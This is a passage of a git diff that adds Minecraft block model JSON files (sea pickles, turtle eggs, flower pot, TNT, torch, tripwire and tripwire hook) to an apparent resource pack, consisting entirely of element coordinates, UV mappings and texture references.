8, 5 ], "texture": "#all" }, + "north": { "uv": [ 4, 5, 8, 11 ], "texture": "#all" }, + "south": { "uv": [ 0, 5, 4, 11 ], "texture": "#all" }, + "west": { "uv": [ 8, 5, 12, 11 ], "texture": "#all" }, + "east": { "uv": [ 12, 5, 16, 11 ], "texture": "#all" } + } + }, + { + "from": [ 8, 5.95, 4 ], + "to": [ 12, 5.95, 8 ], + "faces": { + "up": {"uv": [ 8, 1, 12, 5 ], "texture": "#all"} + } + } + ] +} diff --git a/src/assets/minecraft/models/block/three_sea_pickles.json b/src/assets/minecraft/models/block/three_sea_pickles.json new file mode 100644 index 00000000..4a34fda0 --- /dev/null +++ b/src/assets/minecraft/models/block/three_sea_pickles.json @@ -0,0 +1,125 @@ +{ + "parent": "block/block", + "textures": { + "particle": "block/sea_pickle", + "all": "block/sea_pickle" + }, + "elements": [ + { "from": [ 6, 0, 9 ], + "to": [ 10, 6, 13 ], + "faces": { + "down": { "uv": [ 8, 1, 12, 5 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 4, 1, 8, 5 ], "texture": "#all" }, + "north": { "uv": [ 4, 5, 8, 11 ], "texture": "#all" }, + "south": { "uv": [ 0, 5, 4, 11 ], "texture": "#all" }, + "west": { "uv": [ 8, 5, 12, 11 ], "texture": "#all" }, + "east": { "uv": [ 12, 5, 16, 11 ], "texture": "#all" } + } + }, + { + "from": [ 6, 5.95, 9 ], + "to": [ 10, 5.95, 13 ], + "faces": { + "up": {"uv": [ 8, 1, 12, 5 ], "texture": "#all"} + } + }, + { + "from": [ 2, 0, 2 ], + "to": [ 6, 4, 6 ], + "faces": { + "down": { "uv": [ 8, 1, 12, 5 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 4, 1, 8, 5 ], "texture": "#all" }, + "north": { "uv": [ 4, 5, 8, 9 ], "texture": "#all" }, + "south": { "uv": [ 0, 5, 4, 9 ], "texture": "#all" }, + "west": { "uv": [ 8, 5, 12, 9 ], "texture": "#all" }, + "east": { "uv": [ 12, 5, 16, 9 ], "texture": "#all" } + } + }, + { + "from": [ 2, 3.95, 2 ], + "to": [ 6, 3.95, 6 ], + "faces": { + "up": {"uv": [ 8, 1, 12, 5 ], "texture": "#all"} + } + }, + { + "from": [ 8, 0, 4 ], + "to": [ 12, 6, 8 ], + "faces": { + "down": { "uv": [ 8, 1, 12, 5 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 4, 1, 8, 5 ], "texture": "#all" }, + "north": { "uv": [ 4, 5, 8, 11 ], "texture": "#all" }, + "south": { "uv": [ 0, 5, 4, 11 ], "texture": "#all" }, + "west": { "uv": [ 8, 5, 12, 11 ], "texture": "#all" }, + "east": { "uv": [ 12, 5, 16, 11 ], "texture": "#all" } + } + }, + { + "from": [ 8, 5.95, 4 ], + "to": [ 12, 5.95, 8 ], + "faces": { + "up": {"uv": [ 8, 1, 12, 5 ], "texture": "#all"} + } + }, + { + "from": [ 7.5, 5.2, 11 ], + "to": [ 8.5, 8.7, 11 ], + "rotation": { "origin": [ 8, 8, 11 ], "axis": "y", "angle": 45, "rescale": true }, + "shade": false, + "faces": { + "north": { "uv": [ 1, 0, 3, 5 ], "texture": "#all" }, + "south": { "uv": [ 13, 0, 15, 5 ], "texture": "#all" } + } + }, + { + "from": [ 8, 5.2, 10.5 ], + "to": [ 8, 8.7, 11.5 ], + "rotation": { "origin": [ 8, 8, 11 ], "axis": "y", "angle": 45, "rescale": true }, + "shade": false, + "faces": { + "west": { "uv": [ 1, 0, 3, 5 ], "texture": "#all" }, + "east": { "uv": [ 13, 0, 15, 5 ], "texture": "#all" } + } + }, + { + "from": [ 3.5, 3.2, 4 ], + "to": [ 4.5, 6.7, 4 ], + "rotation": { "origin": [ 4, 8, 4 ], "axis": "y", "angle": 45, "rescale": true }, + "shade": false, + "faces": { + "north": { "uv": [ 1, 0, 3, 5 ], "texture": "#all" }, + "south": { "uv": [ 13, 0, 15, 5 ], "texture": "#all" } + } + }, + { + "from": [ 4, 3.2, 3.5 ], + "to": [ 4, 6.7, 4.5 ], + "rotation": { "origin": [ 4, 8, 4 ], "axis": "y", "angle": 45, "rescale": true }, + "shade": false, + "faces": { + "west": { "uv": [ 1, 0, 3, 5 ], "texture": "#all" }, + "east": { "uv": [ 13, 0, 15, 5 ], "texture": "#all" } + } + }, + { + "from": [ 9.5, 5.2, 6 ], + "to": [ 10.5, 8.7, 6 ], + "rotation": { "origin": [ 10, 8, 6 ], "axis": "y", "angle": 45, "rescale": true }, + "shade": false, + "faces": { + "north": { "uv": [ 1, 0, 3, 5 ], "texture": "#all" }, + "south": { "uv": [ 13, 0, 15, 5 ], "texture": "#all" } + } + }, + { + "from": [ 10, 5.2, 5.5 ], + "to": [ 10, 8.7, 6.5 ], + "rotation": { "origin": [ 10, 8, 6 ], "axis": "y", "angle": 45, "rescale": true }, + "shade": false, + "faces": { + "west": { "uv": [ 1, 0, 3, 5 ], "texture": "#all" }, + "east": { "uv": [ 13, 0, 15, 5 ], "texture": "#all" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/three_slightly_cracked_turtle_eggs.json b/src/assets/minecraft/models/block/three_slightly_cracked_turtle_eggs.json new file mode 100644 index 00000000..a50fdeef --- /dev/null +++ b/src/assets/minecraft/models/block/three_slightly_cracked_turtle_eggs.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_three_turtle_eggs", + "textures": { + "all": "minecraft:block/turtle_egg_slightly_cracked" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/three_turtle_eggs.json b/src/assets/minecraft/models/block/three_turtle_eggs.json new file mode 100644 index 00000000..7f893795 --- /dev/null +++ b/src/assets/minecraft/models/block/three_turtle_eggs.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_three_turtle_eggs", + "textures": { + "all": "minecraft:block/turtle_egg" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/three_very_cracked_turtle_eggs.json b/src/assets/minecraft/models/block/three_very_cracked_turtle_eggs.json new file mode 100644 index 00000000..7c8e2046 --- /dev/null +++ b/src/assets/minecraft/models/block/three_very_cracked_turtle_eggs.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_three_turtle_eggs", + "textures": { + "all": "minecraft:block/turtle_egg_very_cracked" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/tinted_cross.json b/src/assets/minecraft/models/block/tinted_cross.json new file mode 100644 index 00000000..d3b5474e --- /dev/null +++ b/src/assets/minecraft/models/block/tinted_cross.json @@ -0,0 +1,26 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "#cross" + }, + "elements": [ + { "from": [ 0.8, 0, 8 ], + "to": [ 15.2, 16, 8 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45, "rescale": true }, + "shade": false, + "faces": { + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#cross", "tintindex": 0 }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#cross", "tintindex": 0 } + } + }, + { "from": [ 8, 0, 0.8 ], + "to": [ 8, 16, 15.2 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45, "rescale": true }, + "shade": false, + "faces": { + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#cross", "tintindex": 0 }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#cross", "tintindex": 0 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/tinted_flower_pot_cross.json b/src/assets/minecraft/models/block/tinted_flower_pot_cross.json new file mode 100644 index 00000000..3bdc26c1 --- /dev/null +++ b/src/assets/minecraft/models/block/tinted_flower_pot_cross.json @@ -0,0 +1,73 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/flower_pot", + "flowerpot": "block/flower_pot", + "dirt": "block/dirt" + }, + "elements": [ + { "from": [ 5, 0, 5 ], + "to": [ 6, 6, 11 ], + "faces": { + "down": { "uv": [ 5, 5, 6, 11 ], "texture": "#flowerpot", "cullface": "down" }, + "up": { "uv": [ 5, 5, 6, 11 ], "texture": "#flowerpot" }, + "north": { "uv": [ 10, 10, 11, 16 ], "texture": "#flowerpot" }, + "south": { "uv": [ 5, 10, 6, 16 ], "texture": "#flowerpot" }, + "west": { "uv": [ 5, 10, 11, 16 ], "texture": "#flowerpot" }, + "east": { "uv": [ 5, 10, 11, 16 ], "texture": "#flowerpot" } + } + }, + { "from": [ 10, 0, 5 ], + "to": [ 11, 6, 11 ], + "faces": { + "down": { "uv": [ 10, 5, 11, 11 ], "texture": "#flowerpot", "cullface": "down" }, + "up": { "uv": [ 10, 5, 11, 11 ], "texture": "#flowerpot" }, + "north": { "uv": [ 5, 10, 6, 16 ], "texture": "#flowerpot" }, + "south": { "uv": [ 10, 10, 11, 16 ], "texture": "#flowerpot" }, + "west": { "uv": [ 5, 10, 11, 16 ], "texture": "#flowerpot" }, + "east": { "uv": [ 5, 10, 11, 16 ], "texture": "#flowerpot" } + } + }, + { "from": [ 6, 0, 5 ], + "to": [ 10, 6, 6 ], + "faces": { + "down": { "uv": [ 6, 10, 10, 11 ], "texture": "#flowerpot", "cullface": "down" }, + "up": { "uv": [ 6, 5, 10, 6 ], "texture": "#flowerpot" }, + "north": { "uv": [ 6, 10, 10, 16 ], "texture": "#flowerpot" }, + "south": { "uv": [ 6, 10, 10, 16 ], "texture": "#flowerpot" } + } + }, + { "from": [ 6, 0, 10 ], + "to": [ 10, 6, 11 ], + "faces": { + "down": { "uv": [ 6, 5, 10, 6 ], "texture": "#flowerpot", "cullface": "down" }, + "up": { "uv": [ 6, 10, 10, 11 ], "texture": "#flowerpot" }, + "north": { "uv": [ 6, 10, 10, 16 ], "texture": "#flowerpot" }, + "south": { "uv": [ 6, 10, 10, 16 ], "texture": "#flowerpot" } + } + }, + { "from": [ 6, 0, 6 ], + "to": [ 10, 4, 10 ], + "faces": { + "down": { "uv": [ 6, 12, 10, 16 ], "texture": "#flowerpot", "cullface": "down" }, + "up": { "uv": [ 6, 6, 10, 10 ], "texture": "#dirt" } + } + }, + { "from": [ 2.6, 4, 8 ], + "to": [ 13.4, 16, 8 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45, "rescale": true }, + "faces": { + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#plant", "tintindex": 0 }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#plant", "tintindex": 0 } + } + }, + { "from": [ 8, 4, 2.6 ], + "to": [ 8, 16, 13.4 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45, "rescale": true }, + "faces": { + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#plant", "tintindex": 0 }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#plant", "tintindex": 0 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/tnt.json b/src/assets/minecraft/models/block/tnt.json new file mode 100644 index 00000000..57be70c1 --- /dev/null +++ b/src/assets/minecraft/models/block/tnt.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/cube_bottom_top", + "textures": { + "top": "minecraft:block/tnt_top", + "bottom": "minecraft:block/tnt_bottom", + "side": "minecraft:block/tnt_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/torch.json b/src/assets/minecraft/models/block/torch.json new file mode 100644 index 00000000..7c6241d0 --- /dev/null +++ b/src/assets/minecraft/models/block/torch.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_torch", + "textures": { + "torch": "minecraft:block/torch" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/tripwire_attached_n.json b/src/assets/minecraft/models/block/tripwire_attached_n.json new file mode 100644 index 00000000..308d26ae --- /dev/null +++ b/src/assets/minecraft/models/block/tripwire_attached_n.json @@ -0,0 +1,33 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/tripwire", + "texture": "block/tripwire" + }, + "elements": [ + { "from": [ 7.75, 1.5, 0 ], + "to": [ 8.25, 1.5, 4 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 4, 16, 2 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 2, 16, 4 ], "texture": "#texture", "rotation": 90 } + } + }, + { "from": [ 7.75, 1.5, 4 ], + "to": [ 8.25, 1.5, 8 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 4, 16, 2 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 2, 16, 4 ], "texture": "#texture", "rotation": 90 } + } + }, + { "from": [ 7.75, 1.5, 8 ], + "to": [ 8.25, 1.5, 12 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 4, 16, 2 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 2, 16, 4 ], "texture": "#texture", "rotation": 90 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/tripwire_attached_ne.json b/src/assets/minecraft/models/block/tripwire_attached_ne.json new file mode 100644 index 00000000..e2a65ffa --- /dev/null +++ b/src/assets/minecraft/models/block/tripwire_attached_ne.json @@ -0,0 +1,41 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/tripwire", + "texture": "block/tripwire" + }, + "elements": [ + { "from": [ 7.75, 1.5, 0 ], + "to": [ 8.25, 1.5, 4 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 4, 16, 2 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 2, 16, 4 ], "texture": "#texture", "rotation": 90 } + } + }, + { "from": [ 7.75, 1.5, 4 ], + "to": [ 8.25, 1.5, 8 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 4, 16, 2 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 2, 16, 4 ], "texture": "#texture", "rotation": 90 } + } + }, + { "from": [ 8, 1.5, 7.75 ], + "to": [ 12, 1.5, 8.25 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 4, 16, 2 ], "texture": "#texture" }, + "up": { "uv": [ 0, 2, 16, 4 ], "texture": "#texture" } + } + }, + { "from": [ 12, 1.5, 7.75 ], + "to": [ 16, 1.5, 8.25 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 4, 16, 2 ], "texture": "#texture" }, + "up": { "uv": [ 0, 2, 16, 4 ], "texture": "#texture" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/tripwire_attached_ns.json b/src/assets/minecraft/models/block/tripwire_attached_ns.json new file mode 100644 index 00000000..3755236d --- /dev/null +++ b/src/assets/minecraft/models/block/tripwire_attached_ns.json @@ -0,0 +1,41 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/tripwire", + "texture": "block/tripwire" + }, + "elements": [ + { "from": [ 7.75, 1.5, 0 ], + "to": [ 8.25, 1.5, 4 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 4, 16, 2 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 2, 16, 4 ], "texture": "#texture", "rotation": 90 } + } + }, + { "from": [ 7.75, 1.5, 4 ], + "to": [ 8.25, 1.5, 8 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 4, 16, 2 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 2, 16, 4 ], "texture": "#texture", "rotation": 90 } + } + }, + { "from": [ 7.75, 1.5, 8 ], + "to": [ 8.25, 1.5, 12 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 4, 16, 2 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 2, 16, 4 ], "texture": "#texture", "rotation": 90 } + } + }, + { "from": [ 7.75, 1.5, 12 ], + "to": [ 8.25, 1.5, 16 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 4, 16, 2 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 2, 16, 4 ], "texture": "#texture", "rotation": 90 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/tripwire_attached_nse.json b/src/assets/minecraft/models/block/tripwire_attached_nse.json new file mode 100644 index 00000000..03652740 --- /dev/null +++ b/src/assets/minecraft/models/block/tripwire_attached_nse.json @@ -0,0 +1,57 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/tripwire", + "texture": "block/tripwire" + }, + "elements": [ + { "from": [ 7.75, 1.5, 0 ], + "to": [ 8.25, 1.5, 4 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 4, 16, 2 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 2, 16, 4 ], "texture": "#texture", "rotation": 90 } + } + }, + { "from": [ 7.75, 1.5, 4 ], + "to": [ 8.25, 1.5, 8 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 4, 16, 2 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 2, 16, 4 ], "texture": "#texture", "rotation": 90 } + } + }, + { "from": [ 7.75, 1.5, 8 ], + "to": [ 8.25, 1.5, 12 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 4, 16, 2 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 2, 16, 4 ], "texture": "#texture", "rotation": 90 } + } + }, + { "from": [ 7.75, 1.5, 12 ], + "to": [ 8.25, 1.5, 16 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 4, 16, 2 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 2, 16, 4 ], "texture": "#texture", "rotation": 90 } + } + }, + { "from": [ 8, 1.5, 7.75 ], + "to": [ 12, 1.5, 8.25 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 4, 16, 2 ], "texture": "#texture" }, + "up": { "uv": [ 0, 2, 16, 4 ], "texture": "#texture" } + } + }, + { "from": [ 12, 1.5, 7.75 ], + "to": [ 16, 1.5, 8.25 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 4, 16, 2 ], "texture": "#texture" }, + "up": { "uv": [ 0, 2, 16, 4 ], "texture": "#texture" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/tripwire_attached_nsew.json b/src/assets/minecraft/models/block/tripwire_attached_nsew.json new file mode 100644 index 00000000..792ba776 --- /dev/null +++ b/src/assets/minecraft/models/block/tripwire_attached_nsew.json @@ -0,0 +1,73 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/tripwire", + "texture": "block/tripwire" + }, + "elements": [ + { "from": [ 7.75, 1.5, 0 ], + "to": [ 8.25, 1.5, 4 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 4, 16, 2 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 2, 16, 4 ], "texture": "#texture", "rotation": 90 } + } + }, + { "from": [ 7.75, 1.5, 4 ], + "to": [ 8.25, 1.5, 8 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 4, 16, 2 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 2, 16, 4 ], "texture": "#texture", "rotation": 90 } + } + }, + { "from": [ 7.75, 1.5, 8 ], + "to": [ 8.25, 1.5, 12 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 4, 16, 2 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 2, 16, 4 ], "texture": "#texture", "rotation": 90 } + } + }, + { "from": [ 7.75, 1.5, 12 ], + "to": [ 8.25, 1.5, 16 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 4, 16, 2 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 2, 16, 4 ], "texture": "#texture", "rotation": 90 } + } + }, + { "from": [ 0, 1.5, 7.75 ], + "to": [ 4, 1.5, 8.25 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 4, 16, 2 ], "texture": "#texture" }, + "up": { "uv": [ 0, 2, 16, 4 ], "texture": "#texture" } + } + }, + { "from": [ 4, 1.5, 7.75 ], + "to": [ 8, 1.5, 8.25 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 4, 16, 2 ], "texture": "#texture" }, + "up": { "uv": [ 0, 2, 16, 4 ], "texture": "#texture" } + } + }, + { "from": [ 8, 1.5, 7.75 ], + "to": [ 12, 1.5, 8.25 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 4, 16, 2 ], "texture": "#texture" }, + "up": { "uv": [ 0, 2, 16, 4 ], "texture": "#texture" } + } + }, + { "from": [ 12, 1.5, 7.75 ], + "to": [ 16, 1.5, 8.25 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 4, 16, 2 ], "texture": "#texture" }, + "up": { "uv": [ 0, 2, 16, 4 ], "texture": "#texture" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/tripwire_hook.json b/src/assets/minecraft/models/block/tripwire_hook.json new file mode 100644 index 00000000..95279bd3 --- /dev/null +++ b/src/assets/minecraft/models/block/tripwire_hook.json @@ -0,0 +1,72 @@ +{ + "textures": { + "particle": "block/oak_planks", + "hook": "block/tripwire_hook", + "wood": "block/oak_planks" + }, + "elements": [ + { "from": [ 6.2, 3.8, 7.9 ], + "to": [ 9.8, 4.6, 11.5 ], + "rotation": { "origin": [ 8, 6, 5.2 ], "axis": "x", "angle": -45 }, + "faces": { + "down": { "uv": [ 5, 3, 11, 9 ], "texture": "#hook" }, + "up": { "uv": [ 5, 3, 11, 9 ], "texture": "#hook" }, + "north": { "uv": [ 5, 3, 11, 4 ], "texture": "#hook" }, + "south": { "uv": [ 5, 8, 11, 9 ], "texture": "#hook" }, + "west": { "uv": [ 5, 8, 11, 9 ], "texture": "#hook" }, + "east": { "uv": [ 5, 3, 11, 4 ], "texture": "#hook" } + } + }, + { "from": [ 7.4, 3.8, 10.3 ], + "to": [ 8.6, 4.6, 10.3 ], + "rotation": { "origin": [ 8, 6, 5.2 ], "axis": "x", "angle": -45 }, + "faces": { + "north": { "uv": [ 7, 8, 9, 9 ], "texture": "#hook" } + } + }, + { "from": [ 7.4, 3.8, 9.1 ], + "to": [ 8.6, 4.6, 9.1 ], + "rotation": { "origin": [ 8, 6, 5.2 ], "axis": "x", "angle": -45 }, + "faces": { + "south": { "uv": [ 7, 3, 9, 4 ], "texture": "#hook" } + } + }, + { "from": [ 7.4, 3.8, 9.1 ], + "to": [ 7.4, 4.6, 10.3 ], + "rotation": { "origin": [ 8, 6, 5.2 ], "axis": "x", "angle": -45 }, + "faces": { + "east": { "uv": [ 7, 8, 9, 9 ], "texture": "#hook" } + } + }, + { "from": [ 8.6, 3.8, 9.1 ], + "to": [ 8.6, 4.6, 10.3 ], + "rotation": { "origin": [ 8, 6, 5.2 ], "axis": "x", "angle": -45 }, + "faces": { + "west": { "uv": [ 7, 3, 9, 4 ], "texture": "#hook" } + } + }, + { "from": [ 7.4, 5.2, 10 ], + "to": [ 8.8, 6.8, 14 ], + "rotation": { "origin": [ 8, 6, 14 ], "axis": "x", "angle": 45 }, + "faces": { + "down": { "uv": [ 7, 9, 9, 14 ], "texture": "#wood" }, + "up": { "uv": [ 7, 2, 9, 7 ], "texture": "#wood" }, + "north": { "uv": [ 7, 9, 9, 11 ], "texture": "#wood" }, + "south": { "uv": [ 7, 9, 9, 11 ], "texture": "#wood" }, + "west": { "uv": [ 2, 9, 7, 11 ], "texture": "#wood" }, + "east": { "uv": [ 9, 9, 14, 11 ], "texture": "#wood" } + } + }, + { "from": [ 6, 1, 14 ], + "to": [ 10, 9, 16 ], + "faces": { + "down": { "uv": [ 6, 14, 10, 16 ], "texture": "#wood" }, + "up": { "uv": [ 6, 0, 10, 2 ], "texture": "#wood" }, + "north": { "uv": [ 6, 7, 10, 15 ], "texture": "#wood" }, + "south": { "uv": [ 6, 7, 10, 15 ], "texture": "#wood", "cullface": "south" }, + "west": { "uv": [ 0, 7, 2, 15 ], "texture": "#wood" }, + "east": { "uv": [ 14, 7, 16, 15 ], "texture": "#wood" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/tripwire_hook_attached.json b/src/assets/minecraft/models/block/tripwire_hook_attached.json new file mode 100644 index 00000000..3b520511 --- /dev/null +++ b/src/assets/minecraft/models/block/tripwire_hook_attached.json @@ -0,0 +1,80 @@ +{ + "textures": { + "particle": "block/oak_planks", + "hook": "block/tripwire_hook", + "wood": "block/oak_planks", + "tripwire": "block/tripwire" + }, + "elements": [ + { "from": [ 7.75, 1.5, 0 ], + "to": [ 8.25, 1.5, 6.7 ], + "rotation": { "origin": [ 8, 0, 0 ], "axis": "x", "angle": -22.5, "rescale": true }, + "faces": { + "down": { "uv": [ 0, 8, 16, 6 ], "texture": "#tripwire", "rotation": 90 }, + "up": { "uv": [ 0, 6, 16, 8 ], "texture": "#tripwire", "rotation": 90 } + } + }, + { "from": [ 6.2, 4.2, 6.7 ], + "to": [ 9.8, 5, 10.3 ], + "rotation": { "origin": [ 8, 4.2, 6.7 ], "axis": "x", "angle": -22.5, "rescale": false }, + "faces": { + "down": { "uv": [ 5, 3, 11, 9 ], "texture": "#hook" }, + "up": { "uv": [ 5, 3, 11, 9 ], "texture": "#hook" }, + "north": { "uv": [ 5, 3, 11, 4 ], "texture": "#hook" }, + "south": { "uv": [ 5, 8, 11, 9 ], "texture": "#hook" }, + "west": { "uv": [ 5, 8, 11, 9 ], "texture": "#hook" }, + "east": { "uv": [ 5, 3, 11, 4 ], "texture": "#hook" } + } + }, + { "from": [ 7.4, 4.2, 9.1 ], + "to": [ 8.6, 5, 9.1 ], + "rotation": { "origin": [ 8, 4.2, 6.7 ], "axis": "x", "angle": -22.5, "rescale": false }, + "faces": { + "north": { "uv": [ 7, 8, 9, 9 ], "texture": "#hook" } + } + }, + { "from": [ 7.4, 4.2, 7.9 ], + "to": [ 8.6, 5, 7.9 ], + "rotation": { "origin": [ 8, 4.2, 6.7 ], "axis": "x", "angle": -22.5, "rescale": false }, + "faces": { + "south": { "uv": [ 7, 3, 9, 4 ], "texture": "#hook" } + } + }, + { "from": [ 7.4, 4.2, 7.9 ], + "to": [ 7.4, 5, 9.1 ], + "rotation": { "origin": [ 8, 4.2, 6.7 ], "axis": "x", "angle": -22.5, "rescale": false }, + "faces": { + "east": { "uv": [ 7, 8, 9, 9 ], "texture": "#hook" } + } + }, + { "from": [ 8.6, 4.2, 7.9 ], + "to": [ 8.6, 5, 9.1 ], + "rotation": { "origin": [ 8, 4.2, 6.7 ], "axis": "x", "angle": -22.5, "rescale": false }, + "faces": { + "west": { "uv": [ 7, 3, 9, 4 ], "texture": "#hook" } + } + }, + { "from": [ 7.4, 5.2, 10 ], + "to": [ 8.8, 6.8, 14 ], + "faces": { + "down": { "uv": [ 7, 9, 9, 14 ], "texture": "#wood" }, + "up": { "uv": [ 7, 2, 9, 7 ], "texture": "#wood" }, + "north": { "uv": [ 7, 9, 9, 11 ], "texture": "#wood" }, + "south": { "uv": [ 7, 9, 9, 11 ], "texture": "#wood" }, + "west": { "uv": [ 2, 9, 7, 11 ], "texture": "#wood" }, + "east": { "uv": [ 9, 9, 14, 11 ], "texture": "#wood" } + } + }, + { "from": [ 6, 1, 14 ], + "to": [ 10, 9, 16 ], + "faces": { + "down": { "uv": [ 6, 14, 10, 16 ], "texture": "#wood" }, + "up": { "uv": [ 6, 0, 10, 2 ], "texture": "#wood" }, + "north": { "uv": [ 6, 7, 10, 15 ], "texture": "#wood" }, + "south": { "uv": [ 6, 7, 10, 15 ], "texture": "#wood", "cullface": "south" }, + "west": { "uv": [ 0, 7, 2, 15 ], "texture": "#wood" }, + "east": { "uv": [ 14, 7, 16, 15 ], "texture": "#wood" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/tripwire_hook_attached_on.json b/src/assets/minecraft/models/block/tripwire_hook_attached_on.json new file mode 100644 index 00000000..29802b1b --- /dev/null +++ b/src/assets/minecraft/models/block/tripwire_hook_attached_on.json @@ -0,0 +1,76 @@ +{ + "textures": { + "particle": "block/oak_planks", + "hook": "block/tripwire_hook", + "wood": "block/oak_planks", + "tripwire": "block/tripwire" + }, + "elements": [ + { "from": [ 7.75, 0.5, 0 ], + "to": [ 8.25, 0.5, 6.7 ], + "rotation": { "origin": [ 8, 0, 0 ], "axis": "x", "angle": -22.5, "rescale": true }, + "faces": { + "down": { "uv": [ 0, 8, 16, 6 ], "texture": "#tripwire", "rotation": 90 }, + "up": { "uv": [ 0, 6, 16, 8 ], "texture": "#tripwire", "rotation": 90 } + } + }, + { "from": [ 6.2, 3.4, 6.7 ], + "to": [ 9.8, 4.2, 10.3 ], + "faces": { + "down": { "uv": [ 5, 3, 11, 9 ], "texture": "#hook" }, + "up": { "uv": [ 5, 3, 11, 9 ], "texture": "#hook" }, + "north": { "uv": [ 5, 3, 11, 4 ], "texture": "#hook" }, + "south": { "uv": [ 5, 8, 11, 9 ], "texture": "#hook" }, + "west": { "uv": [ 5, 8, 11, 9 ], "texture": "#hook" }, + "east": { "uv": [ 5, 3, 11, 4 ], "texture": "#hook" } + } + }, + { "from": [ 7.4, 3.4, 9.1 ], + "to": [ 8.6, 4.2, 9.1 ], + "faces": { + "north": { "uv": [ 7, 8, 9, 9 ], "texture": "#hook" } + } + }, + { "from": [ 7.4, 3.4, 7.9 ], + "to": [ 8.6, 4.2, 7.9 ], + "faces": { + "south": { "uv": [ 7, 3, 9, 4 ], "texture": "#hook" } + } + }, + { "from": [ 7.4, 3.4, 7.9 ], + "to": [ 7.4, 4.2, 9.1 ], + "faces": { + "east": { "uv": [ 7, 8, 9, 9 ], "texture": "#hook" } + } + }, + { "from": [ 8.6, 3.4, 7.9 ], + "to": [ 8.6, 4.2, 9.1 ], + "faces": { + "west": { "uv": [ 7, 3, 9, 4 ], "texture": "#hook" } + } + }, + { "from": [ 7.4, 5.2, 10 ], + "to": [ 8.8, 6.8, 14 ], + "rotation": { "origin": [ 8, 6, 14 ], "axis": "x", "angle": -22.5 }, + "faces": { 